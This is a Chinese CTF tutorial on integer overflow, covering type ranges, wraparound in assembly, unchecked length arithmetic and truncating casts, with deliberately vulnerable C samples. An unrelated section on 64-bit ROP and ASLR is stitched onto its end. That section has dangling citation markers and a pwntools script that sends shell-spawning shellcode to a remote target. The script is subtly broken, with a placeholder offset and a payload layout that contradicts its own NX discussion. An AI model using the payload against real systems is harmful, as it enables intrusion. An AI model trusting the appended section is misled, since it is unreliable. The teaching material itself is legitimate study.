Pwn之整数溢出

0x00 整数

在 C 语言中,整数的基本数据类型分为短整型 (short),整型 (int),长整型 (long),这三个数据类型还分为有符号和无符号,每种数据类型都有各自的大小范围(编译器版本为64位gcc-5.4),如下所示:

类型字节范围
short int2byte(word)0~32767(0~0x7fff)
-32768~-1(0x8000~0xffff)
unsigned short int2byte(word)0~65535(0~0xffff)
int4byte(dword)0~2147483647(0~0x7fffffff)
-2147483648~-1(0x80000000~0xffffffff)
unsigned int4byte(dword)0~4294967295(0~0xffffffff)
long int8byte(qword)正: 0~0x7fffffffffffffff
负: 0x8000000000000000~0xffffffffffffffff
unsigned long int8byte(qword)0~0xffffffffffffffff

当程序中的数据超过其数据类型的范围,则会造成溢出,整数类型的溢出被称为整数溢出。

0x01 上界溢出

计算机底层指令是不区分有符号和无符号的,数据都是以二进制形式存在 (编译器的层面才对有符号和无符号进行区分,产生不同的汇编指令)。

# 伪代码
short int a;

a = a + 1;
# 对应的汇编
movzx  eax, word ptr [rbp - 0x1c]
add    eax, 1
mov    word ptr [rbp - 0x1c], ax

unsigned short int b;

b = b + 1;
# assembly code
add    word ptr [rbp - 0x1a], 1

 add 0x7fff, 1 == 0x8000,对无符号整型没有影响,但是在有符号短整型中,0x7fff 表示的是 32767,但是 0x8000 表示的是 -32768,用数学表达式来表示就是在有符号短整型中 32767+1 == -32768

 add eax, 1 == 0x10000,无符号的汇编代码是对内存进行加法运算 add word ptr [rbp - 0x1a], 1 == 0x0000。在有符号的加法中,虽然 eax 的结果为 0x10000,但是只把 ax=0x0000 的值储存到了内存中,从结果看和无符号是一样的。

再从数字层面看看这种溢出的结果,在有符号短整型中,0xffff==-1,-1 + 1 == 0,从有符号看这种计算没问题,但是在无符号短整型中,0xffff == 65535, 65535 + 1 == 0

0x02 下界溢出

下界溢出的道理和上界溢出一样,在汇编代码中,只是把 add 替换成了 sub

第一种是 sub 0x0000, 1 == 0xffff,对于有符号来说 0 - 1 == -1 没问题,但是对于无符号来说就成了 0 - 1 == 65535

第二种是 sub 0x8000, 1 == 0x7fff,对于无符号来说是 32768 - 1 == 32767 是正确的,但是对于有符号来说就变成了 -32768 - 1 = 32767

0x03 未限制范围

假设有一个固定大小的桶,往里面倒水,如果你没有限制倒入多少水,那么水则会从桶中溢出来。

一个有固定大小的东西,你没有对其进行约束,就会造成不可预期的后果。

示例:

#include<stddef.h>
int main(void)
{
    int len;
    int data_len;
    int header_len;
    char *buf;

    header_len = 0x10;
    scanf("%uld", &data_len);

    len = data_len+header_len
    buf = malloc(len);
    read(0, buf, data_len);
    return 0;
}

gdb调试输入-1,发现malloc申请了0xF大小的堆,但是可以输入0xFFFFFFFF长度的数据,即通过整型溢出发生堆溢出

0x04 错误的类型转换

void check(int n)
{
    if (!n)
        printf("vuln");
    else
        printf("OK");
}

int main(void)
{
    long int a;

    scanf("%ld", &a);
    if (a == 0)
        printf("Bad");
    else
        check(a);
    return 0;
}

输入一个大于int大小的值,程序会返回vuln,这是由于长整型a传入check函数后变成了范围小的整型变量n,造成了数据溢出。已经长整型的占有 8 byte 的内存空间,而整型只有 4 byte 的内存空间,所以当 long -> int,将会造成截断,只把长整型的低 4byte 的值传给整型变量。

而范围小的变量把值传给范围更大的变量时,就不会造成数据丢失。

有的函数会对输入的参数进行强制类型转换,比如read()的第三个参数指定了输入的长度,这个参数的类型为 size_t ,相当于 unsigned long int ,属于无符号长整型,如果这个参数被定义成有符号整型,输入-1会导致read可以读入很长一段数据。例题: 

$ cat test3.c
int main(void)
{
    int len, l;
    char buf[11];

    scanf("%d", &len);
    if (len < 10) {
        l = read(0, buf, len);
        *(buf+l) = 0;
        puts(buf);
    } else
        printf("Please len < 10");        
}
$ gcc test3.c
$ ./a.out
-1
aaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaa

 题目来源:整数溢出 - CTF Wiki

### 关于64位系统PWN溢出漏洞利用 #### 函数调用约定差异 在32位和64位Linux环境中,函数参数传递方式存在显著不同。对于64位系统而言,前六个整数或指针类型的参数通过寄存器(`rdi`, `rsi`, `rdx`, `rcx`, `r8`, `r9`)而非栈来传递[^1]。 #### 地址空间布局随机化(ASLR) 现代操作系统引入了地址空间布局随机化技术,使得每次启动进程时内存中的各个部分位置都会发生变化。这增加了预测返回地址难度,在一定程度上缓解了传统栈溢出攻击方法的有效性[^2]。 #### 返回导向编程(Return-Oriented Programming, ROP) 面对启用NX bit保护机制以及开启ASLR的情况下,ROP成为一种有效的绕过策略。该技巧涉及寻找并链接一系列存在于合法二进制文件内的短小指令序列(gadgets),最终构建起能够执行恶意操作的代码片段[^3]。 #### 利用流程实例解析 假设目标应用程序存在未受限制的strcpy()调用,则可能允许攻击者覆盖存储于栈帧底部附近的返回地址。此时如果已知libc库加载基址或其他有用信息的话,就可以尝试构造payload以跳转至system("/bin/sh")这样的敏感API入口处[^4]。 ```python from pwn import * # 建立远程连接对象 conn = remote('target_ip', port) # 构造Payload offset = 0xdeadbeef # 替换成实际偏移量 ret_addr = pack('<Q', target_function_address) nop_sled = asm('nop') * (offset - len(ret_addr)) shellcode = asm(shellcraft.sh()) payload = nop_sled + ret_addr + shellcode # 发送Payload给服务端 conn.sendline(payload) # 进入交互模式等待命令执行结果 conn.interactive() ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值